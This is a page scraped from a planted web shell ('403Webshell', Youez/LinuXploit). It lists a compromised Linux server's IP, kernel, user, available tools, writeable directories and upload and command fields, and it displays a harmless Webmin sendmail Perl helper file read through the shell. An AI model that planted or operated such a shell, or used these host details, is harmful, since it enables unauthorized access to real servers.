403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/sendmail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/sendmail/cgi_args.pl
do 'sendmail-lib.pl';
do 'virtusers-lib.pl';
do 'generics-lib.pl';
do 'domain-lib.pl';
do 'access-lib.pl';

sub cgi_args
{
my ($cgi) = @_;
if ($cgi =~ /^list_/) {
	# All these are OK with no args
	return '';
	}
elsif ($cgi eq 'edit_alias.cgi') {
	# Assume first one
	return 'num=0';
	}
elsif ($cgi eq 'edit_virtuser.cgi') {
	# First virtuser, if any
	my $conf = &get_sendmailcf();
	my $vfile = &virtusers_file($conf);
	my ($vdbm, $vdbmtype) = &virtusers_dbm($conf);
	if ($vdbm) {
		my @virts = &list_virtusers($vfile);
		return @virts ? 'num=0' : 'none';
		}
	return 'none';
	}
elsif ($cgi eq 'edit_generic.cgi') {
	# First outgoing address mapping
	my $conf = &get_sendmailcf();
	my $gfile = &generics_file($conf);
	my ($gdbm, $gdbmtype) = &generics_dbm($conf);
	if ($gdbm) {
		my @gens = &list_generics($gfile);
		return @gens ? 'num=0' : 'none';
		}
	return 'none';
	}
elsif ($cgi eq 'edit_domain.cgi') {
	# First domain table entry
	my $conf = &get_sendmailcf();
	my $dfile = &domains_file($conf);
	my ($ddbm, $ddbmtype) = &domains_dbm($conf);
	if ($ddbm) {
		my @doms = &list_domains($dfile);
		return @doms ? 'num=0' : 'none';
		}
	return 'none';
	}
elsif ($cgi eq 'edit_access.cgi') {
	# First spam control rule
	my $conf = &get_sendmailcf();
	my $afile = &access_file($conf);
	my ($adbm, $adbmtype) = &access_dbm($conf);
	if ($adbm) {
		my @accs = &list_access($afile);
		return @accs ? 'num=0' : 'none';
		}
	return 'none';
	}
return undef;
}

Youez - 2016 - github.com/yon3zu
LinuXploit